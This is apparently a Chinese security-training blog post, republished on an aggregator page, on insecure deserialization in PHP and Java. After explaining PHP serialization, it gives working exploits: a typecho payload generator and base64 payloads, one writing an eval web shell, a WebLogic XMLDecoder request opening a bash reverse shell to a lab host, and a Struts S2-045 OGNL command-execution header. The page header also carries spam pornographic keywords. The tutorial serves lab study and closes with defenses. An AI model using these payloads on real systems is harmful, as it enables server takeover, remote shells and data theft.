国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn)

這篇具有很好參考價(jià)值的文章主要介紹了不安全的反序列化(php&java)及漏洞復(fù)現(xiàn)。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問(wèn)。

不安全的反序列化

1. 序列化與反序列化

A8:2017-不安全的反序列化

A08:2021-Software and Data Integrity Failures

為什么要序列化?

序列化,將對(duì)象的狀態(tài)信息轉(zhuǎn)換為可以存儲(chǔ)或傳輸?shù)男问降倪^(guò)程,這種形式大多為字節(jié)流、字符串、json 串。在序列化期間內(nèi),將對(duì)象當(dāng)前狀態(tài)寫(xiě)入到臨時(shí)或永久性的存儲(chǔ)區(qū)。以后,就可以通過(guò)從存儲(chǔ)區(qū)中讀取或還原(反序列化)對(duì)象的狀態(tài),重新創(chuàng)建該對(duì)象。簡(jiǎn)單的說(shuō),序列化就是把一個(gè)對(duì)象變成可以傳輸?shù)淖址?,可以以特定的格式在進(jìn)程之間跨平臺(tái)安全的進(jìn)行通信。

序列化就是解決對(duì)象傳輸?shù)膯?wèn)題

對(duì)象:
	類(lèi)(抽象的,定義):        學(xué)生類(lèi)
		屬性:				 姓名,性別,年齡,成績(jī)
		方法:				 學(xué)習(xí),運(yùn)動(dòng),吃飯,睡覺(jué)
	對(duì)象就是指具體哪個(gè)學(xué)生(具體的,真實(shí)存在的) ,對(duì)象是非線(xiàn)性的,不能做流式傳輸。 
    

傳輸:
	流式傳輸:一個(gè)字節(jié)一個(gè)字節(jié)傳輸
	字符串,json,xml

對(duì)象–>序列化–>字符串、json–>反序列化–>對(duì)象

攻擊者可以通過(guò)反序列化的過(guò)程,在還原對(duì)象的過(guò)程中完整惡意的攻擊

1.1 引例

以PHP 語(yǔ)言為例

JSON 數(shù)據(jù)是數(shù)據(jù)的一種表達(dá)形式,與Python里的字典類(lèi)似。

// json.php

$stu = array(
'name'   => 'AJEST', 'age'	=> 18,
'sex'	=> true, 'score' => 89.9
);

// echo $stu;
// var_dump($stu);

$stu_json = json_encode($stu); echo $stu_json;

echo "<hr />";

$stu_json = isset($_GET['stu'])?$_GET['stu']:$stu_json;
$stu = json_decode($stu_json); var_dump($stu);

驗(yàn)證:

?stu={"name":"ajest","age":19,"sex":true,"score":89.9}

在www目錄下新建unserialize文件夾,在文件夾下新建json.php文件,將上述代碼復(fù)制進(jìn)json.php中

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

因?yàn)閟tu的內(nèi)容是數(shù)組非線(xiàn)性的,使用echo是無(wú)法輸出$stu的內(nèi)容的,因?yàn)閑cho只能輸出字符串(線(xiàn)性的);使用var_dump可以強(qiáng)制轉(zhuǎn)換字符串輸出;如果stu無(wú)法輸出那就無(wú)法存儲(chǔ)和傳輸,要想存儲(chǔ)和傳輸?shù)脑?huà)就要進(jìn)行json_encode編碼

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

顯示的內(nèi)容是json格式的數(shù)據(jù),json格式的數(shù)據(jù)能使用echo輸出,那就證明能夠存儲(chǔ)和傳輸;要想將json格式的數(shù)據(jù)還原成數(shù)組只要做json_decode就能還原成數(shù)組

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

重新還原成數(shù)組就可以在程序中使用了。

將數(shù)組轉(zhuǎn)換成json格式的數(shù)據(jù)是為了能夠傳輸,將json格式的數(shù)據(jù)轉(zhuǎn)換回?cái)?shù)組是為了能夠使用。

1.2 序列化實(shí)例

1.2.1 定義一個(gè)類(lèi)
//   stu.class.php

class Stu{
	public $name; 
    public $age; 
    public $sex; 
    public $score;
}

在unserialize文件夾下新建一個(gè)stu.class.php文件,將上述代碼復(fù)制進(jìn)去。

class(關(guān)鍵字:類(lèi)),stu是類(lèi)名

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

1.2.2 創(chuàng)建對(duì)象

創(chuàng)建一個(gè)對(duì)象,并對(duì)該對(duì)象進(jìn)行序列化操作,將對(duì)象轉(zhuǎn)化為可以存儲(chǔ)、傳輸?shù)淖址?/p>

// serialize.php

include   "./stu.class.php";//include:包含,將stu.class.php的內(nèi)容作為它的一部分

$stu1 = new Stu();//以stu這個(gè)類(lèi)作為模板新建一個(gè)對(duì)象stu1

$stu1 -> name	= "AJEST";//對(duì)stu這個(gè)對(duì)象做初始化$stu1.name
$stu1 -> age	= 24;
$stu1 -> sex	= true;
$stu1 -> score   = 99.9;

// echo $stu1;//無(wú)法輸出,因?yàn)橐粋€(gè)類(lèi)的對(duì)象不能轉(zhuǎn)換成字符串
// var_dump($stu1);//強(qiáng)制轉(zhuǎn)換為字符串

$_stu1 = serialize($stu1); //將對(duì)象做序列化
echo $_stu1;//做完序列化在輸出

在www下新建serialize.php文件,將上述代碼復(fù)制進(jìn)serialize.php中

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

序列化后的字符串:

O:3:"Stu":4:{s:4:"name";s:5:"AJEST";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.900000000000006;}

解釋?zhuān)?/font>

s:4:“name”;s:5:“AJEST”;是一個(gè)鍵值對(duì)

s:3:“age”;i:24;是一個(gè)鍵值對(duì)

s:3:“sex”;b:1;是一個(gè)鍵值對(duì)

s:5:“score”;d:99.900000000000006;是一個(gè)鍵值對(duì)

O:序列化后的對(duì)象object

3:類(lèi)名的長(zhǎng)度,類(lèi)有幾個(gè)字符

stu:類(lèi)的名字

4:有四個(gè)變量

s:string(字符串)

4:name的長(zhǎng)度是4

s:string(字符串)

5:AJEST的長(zhǎng)度是5

s:string(字符串)

3:age的長(zhǎng)度是3

i:int

24:age的值

s:string(字符串)

3:age的長(zhǎng)度是3

b:bool(布爾)

1:布爾值

s:string(字符串)

5:score的長(zhǎng)度是5

d:double

99.900000000000006:score的值

1.2.3 反序列化

將字符串轉(zhuǎn)化為對(duì)象。

//   unserialize.php

include "./stu.class.php";

$stu1_ser = 'O:3:"Stu":4:{s:4:"name";s:5:"AJEST";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.900000000000006;}';

$stu1_obj = unserialize($stu1_ser); var_dump($stu1_obj);

在www下新建unserialize.php文件,將上述代碼復(fù)制進(jìn)unserialize.php文件中

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

1.2.4 對(duì)象注入

如果反序列化字符串,Web 用戶(hù)可以控制,則造成對(duì)象注入。

// $stu1_seria = 'O:3:"Stu":4: {s:4:"name";s:5:"AJEST";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.900000000000006;}';
$stu1_ser = $_GET['stu1_ser'];

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

http://127.0.0.1/unserialize/unserialize.php?stu1_ser=O:3:"Stu":4:{s:4:"name";s:5:"AJEST";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.900000000000006;}

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

PHP 的反序列化漏洞也叫PHP 對(duì)象注入,是一個(gè)非常常見(jiàn)的漏洞,這種漏洞在某些場(chǎng)景下雖然有些難以利用,但是一旦利用成功就會(huì)造成非常危險(xiǎn)的后果

2. 漏洞何在

2.1 漏洞觸發(fā)

2.1.1 有一個(gè)類(lèi)
//   vul.class.php

class Vul{
public $str = "AJEST";

function __destruct(){
//echo "This is function __destruct()"; 
@eval($this -> str);//eval,危險(xiǎn)語(yǔ)句,將字符串當(dāng)作PHP代碼執(zhí)行

}
}

在www下新建vul.class.php文件,將上述代碼復(fù)制進(jìn)vul.class.php文件中

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

2.1.2 有一個(gè)對(duì)象
// test.php

include './vul.class.php';

$s = new Vul(); //從vul這個(gè)類(lèi)中創(chuàng)建一個(gè)對(duì)象$s
echo serialize($s); //對(duì)$s進(jìn)行序列化操作后輸出
echo "<hr />";

$_s = $_GET['s_ser'];//通過(guò)get方式得到s_ser參數(shù)
$s = unserialize($_s);//將$_S的值進(jìn)行反序列化 
var_dump($s);//將反序列化的內(nèi)容輸出

在www下新建test.php文件,將上述代碼復(fù)制進(jìn)test.php文件中

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

序列化后:

O:3:"Vul":1:{s:3:"str";s:5:"AJEST";}
2.1.3 反序列化執(zhí)行代碼
?s_ser=O:3:"Vul":1:{s:3:"str";s:10:"phpinfo();";}

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

2.2 為什么會(huì)這樣

__destruct(),會(huì)被對(duì)象自動(dòng)調(diào)用。

以 __ 開(kāi)頭的函數(shù),是PHP 中的魔術(shù)方法。類(lèi)中的魔術(shù)方法,在特定情況下會(huì)自動(dòng)調(diào)用。即使魔術(shù)方法在類(lèi)中沒(méi)有被定義,也是真實(shí)存在的。

魔術(shù)方法 觸發(fā)條件
__construct() 在創(chuàng)建對(duì)象時(shí)自動(dòng)調(diào)用,構(gòu)造函數(shù)
__destruct() 在銷(xiāo)毀對(duì)象時(shí)自動(dòng)調(diào)用,析構(gòu)函數(shù)
__call();
__callStatic(); 
__get(); 
__set();
__isset();
__unset(); 
__sleep(); 
__wakeup();					創(chuàng)建對(duì)象之前觸發(fā)
__toString(); 
__invoke(); 
__set_state(); 
__clone(); 
__debuginfo();
 

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

因?yàn)?code>__destruct():在銷(xiāo)毀對(duì)象時(shí)自動(dòng)調(diào)用,并且腳本執(zhí)行完后要銷(xiāo)毀,所以 __destruct() 執(zhí)行了

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

銷(xiāo)毀的兩個(gè)對(duì)象分別是在調(diào)用vul類(lèi)時(shí)創(chuàng)建的對(duì)象進(jìn)行反序列化還原的對(duì)象

漏洞形成的根本原因:

程序沒(méi)有對(duì)用戶(hù)輸入的反序列化字符串進(jìn)行檢測(cè),導(dǎo)致反序列化過(guò)程可以被惡意控制,進(jìn)而造成代碼執(zhí)行、GetShell 等一系列不可控的后果。反序列化漏洞并不是PHP 特有的,也存在于Java、Python 語(yǔ)言中,其原理基本相同。

3. 反序列化漏洞攻防

3.1 PHP 反序列化實(shí)例

typecho 反序列化漏洞

3.1.1 環(huán)境搭建

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

3.1.2 實(shí)操

危險(xiǎn)函數(shù):call_user_func(回調(diào)函數(shù)),assert(將字符串當(dāng)作php代碼執(zhí)行)

call_user_func('assert',"phpinfo()");

這句函數(shù)相當(dāng)于

assert(phpinfo());

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

使用call_user_func(回調(diào)函數(shù))可以構(gòu)造一句話(huà)木馬

typecho 反序列化漏洞此文章中提到typecho中有魔術(shù)方法,并且含有call_user_func(回調(diào)函數(shù)),并且typecho反序列化漏洞使用了對(duì)象注入

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

如果構(gòu)造的序列化后的語(yǔ)句中的類(lèi)注入對(duì)象中沒(méi)有那么就會(huì)還原成一個(gè)不知道是什么的類(lèi)

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

利用漏洞利用腳本

<?php
class Typecho_Feed{
	const RSS1 = 'RSS 1.0';
	const RSS2 = 'RSS 2.0';
	const ATOM1 = 'ATOM 1.0';
   	const DATE_RFC822 = 'r';
	const DATE_W3CDTF = 'c';
	const EOL = "\n";
	private $_type;
	private $_items;
	
	public function __construct(){
		$this->_type = $this::RSS2;
		$this->_items[0] = array(
			'title' => '1',
			'link' => '1',
			'date' => 1508895132,
			'category' => array(new Typecho_Request()),
			'author' => new Typecho_Request(),
		);
	}
}

class Typecho_Request{
	private $_params = array();
	private $_filter = array();

	public function __construct(){
		$this->_params['screenName'] = 'phpinfo()';
		$this->_filter[0] = 'assert';//有危險(xiǎn)函數(shù)
    }
}

$exp = array(
	'adapter' => new Typecho_Feed(),
	'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

將上述代碼復(fù)制到www目錄下的typecho_1.0(14.10.10)_unserialize_phpinfo.php文件中,執(zhí)行typecho_1.0(14.10.10)_unserialize_phpinfo.php獲得經(jīng)過(guò)base64編碼的序列化的字符串,構(gòu)造的這個(gè)字符串中的類(lèi)一定是typecho中存在的類(lèi)的名字,否則序列化字符串在注入的時(shí)候會(huì)注入不進(jìn)去

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

typecho的漏洞點(diǎn)是install.php頁(yè)面,通過(guò)finish參數(shù)傳遞

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

文章中使用GET方式提交的,也可以使用POST方式提交,提交的內(nèi)容通過(guò)__typecho_config傳遞

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

3.1.3 GETshell

使用bp抓包,將數(shù)據(jù)包發(fā)送重發(fā)器,修改cookie

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mzp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjA6ImZpbGVfcHV0X2NvbnRlbnRzKCdTaGVsbC5waHAnLCc8P3BocCBAZXZhbCgkX1BPU1RbNjY2XSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX1zOjEwOiJkYXRlRm9ybWF0IjtOO31zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

點(diǎn)擊發(fā)送

使用蟻劍進(jìn)行連接

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

3.2 Java 反序列化實(shí)例

Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞

S2-045 Remote Code Execution Vulnerablity

JBoss 5.x/6.x 反序列化漏洞

fastjson 1.2.24 反序列化導(dǎo)致任意命令執(zhí)?漏洞

Fastjson 1.2.47 遠(yuǎn)程命令執(zhí)?漏洞

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

3.2.1 Weblogic
3.2.1.1 環(huán)境搭建

進(jìn)入漏洞庫(kù)啟動(dòng)環(huán)境

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

3.2.1.2 過(guò)程

訪問(wèn)本機(jī)地址的7001端口的/console頁(yè)面

漏洞掃描工具:nacs和weblogicScan

使用nacs工具掃描IP和端口

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

使用weblogicScan工具掃描

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

復(fù)現(xiàn)2017-10271,訪問(wèn)wls-wsat/CoordinatorPortType頁(yè)面

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

使用bp抓包,發(fā)送重發(fā)器

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

將數(shù)據(jù)包改為POST請(qǐng)求

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

將漏洞利用代碼復(fù)制到POST請(qǐng)求數(shù)據(jù)包中,漏洞利用代碼是輸入一個(gè)周期性計(jì)劃任務(wù),通過(guò)21端口獲得反彈shell

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.16.176/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

還是報(bào)錯(cuò),因?yàn)樘峤坏拇a是xml語(yǔ)言格式的

修改POST數(shù)據(jù)包

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.16.176:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ADMINCONSOLESESSION=qZfqk3sDhfVMkMlb3LMJpxzDJxgBrDwNqFCyGFZh339bGMLY0G1r!-169694376
Connection: close
Content-Type: text/xml
Content-Length: 631

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.16.176/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

使用瑞士軍刀掃描21端口

nc -lnvp 21

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

3.2.2 S2
3.2.2.1 環(huán)境搭建

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

因?yàn)?080端口被bp占用,修改端口

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

3.2.2.2 過(guò)程

使用nacs掃描

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

訪問(wèn)本機(jī)IP908端口,使用bp抓包發(fā)送重發(fā)器,改為POST請(qǐng)求,并將漏洞利用代碼復(fù)制到數(shù)據(jù)包中

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

漏洞利用:S2-045、S2-046 - 京亟QAQ - 博客園 (cnblogs.com)

Content-Type:  %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

修改POST數(shù)據(jù)包,并點(diǎn)擊發(fā)送

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

獲得回顯,修改whoami,相當(dāng)于獲得一個(gè)shell

不安全的反序列化(php&java)及漏洞復(fù)現(xiàn),安全,php,java,網(wǎng)絡(luò)安全,網(wǎng)絡(luò),web安全

3.3 反序列化漏洞防御

  • 升級(jí)組件到最新版本

  • 黑白名單過(guò)濾敏感字符

  • 禁用反序列化功能文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-698396.html

到了這里,關(guān)于不安全的反序列化(php&java)及漏洞復(fù)現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來(lái)自互聯(lián)網(wǎng)用戶(hù)投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • 38-WEB漏洞-反序列化之PHP&JAVA全解(下)

    38-WEB漏洞-反序列化之PHP&JAVA全解(下)

    序列化(Serialization):將對(duì)象的狀態(tài)信息轉(zhuǎn)換為可以存儲(chǔ)或傳輸?shù)男问降倪^(guò)程。在序列化期間,對(duì)象將其當(dāng)前狀態(tài)寫(xiě)入到臨時(shí)或持久性存儲(chǔ)區(qū)。 反序列化:從存儲(chǔ)區(qū)中讀取該數(shù)據(jù),并將其還原為對(duì)象的過(guò)程,成為反序列化。 1、主函數(shù): 調(diào)用序列化方法 將反序列化的的結(jié)果

    2024年01月25日
    瀏覽(26)
  • 37-WEB漏洞-反序列化之PHP&JAVA全解(上)

    37-WEB漏洞-反序列化之PHP&JAVA全解(上)

    未對(duì)用戶(hù)輸入的序列化字符串進(jìn)行檢測(cè),導(dǎo)致攻擊者可以控制反序列化過(guò)程,從而導(dǎo)致代碼執(zhí)行,SQL 注入,目錄遍歷等不可控后果。在反序列化的過(guò)程中自動(dòng)觸發(fā)了某些魔術(shù)方法。當(dāng)進(jìn)行反序列化的時(shí)候就有可能會(huì)觸發(fā)對(duì)象中的一些魔術(shù)方法。 2.1.1、本地 unserialize2.php flag.

    2024年01月22日
    瀏覽(25)
  • Java反序列化(0):URLDNS的反序列化調(diào)試分析

    Java反序列化(0):URLDNS的反序列化調(diào)試分析

    URLDNS鏈子是Java反序列化分析的第0課,網(wǎng)上也有很多優(yōu)質(zhì)的分析文章。 筆者作為Java安全初學(xué)者,也從0到1調(diào)試了一遍,現(xiàn)在給出調(diào)試筆記。 Java原生鏈序列化:利用Java.io.ObjectInputStream對(duì)象輸出流的writerObject方法實(shí)現(xiàn)Serializable接口,將對(duì)象轉(zhuǎn)化成字節(jié)序列。 Java原生鏈反序列化

    2024年02月16日
    瀏覽(26)
  • owasp top10之不安全的反序列化

    ? 更多網(wǎng)絡(luò)安全干貨內(nèi)容: 點(diǎn)此獲取 ——————— Java?提供了一種對(duì)象序列化的機(jī)制,該機(jī)制中,一個(gè)對(duì)象可以被表示為一個(gè)字節(jié)序列,該字節(jié)序列包括該對(duì)象的數(shù)據(jù)、有關(guān)對(duì)象的類(lèi)型的信息和存儲(chǔ)在對(duì)象中數(shù)據(jù)的類(lèi)型。 將序列化對(duì)象寫(xiě)入文件之后,可以從文件中讀取

    2024年01月22日
    瀏覽(23)
  • 反序列化漏洞及漏洞復(fù)現(xiàn)

    反序列化漏洞及漏洞復(fù)現(xiàn)

    問(wèn)題 :為什么要序列化? 序列化,“將對(duì)象的狀態(tài)信息轉(zhuǎn)換為可以存儲(chǔ)或傳輸?shù)男问降倪^(guò)程”,這種形式大多為字節(jié)流、字符串、Json 串。在序列化期間內(nèi),將對(duì)象當(dāng)前狀態(tài)寫(xiě)?到臨時(shí)或永久性的存儲(chǔ)區(qū)。以后,就可以通過(guò)從存儲(chǔ)區(qū)中讀取或還原(反序列化)對(duì)象的狀態(tài),重

    2024年02月09日
    瀏覽(27)
  • Web安全--反序列化漏洞(java篇)

    Web安全--反序列化漏洞(java篇)

    序列化的意義就在于方便存儲(chǔ)和傳輸,永久的保存到硬盤(pán)中,通常保存在一個(gè)文件中。 序列化:將java對(duì)象轉(zhuǎn)換為字節(jié)序列的過(guò)程 反序列化:序列化的逆過(guò)程,從儲(chǔ)存區(qū)讀出字節(jié)序列還原成對(duì)象的過(guò)程 java應(yīng)用在對(duì)用戶(hù)的輸入沒(méi)有進(jìn)行嚴(yán)格的檢查時(shí),即傳入了不可信的數(shù)據(jù)做

    2024年02月09日
    瀏覽(30)
  • 【java安全】FastJson反序列化漏洞淺析

    【java安全】FastJson反序列化漏洞淺析

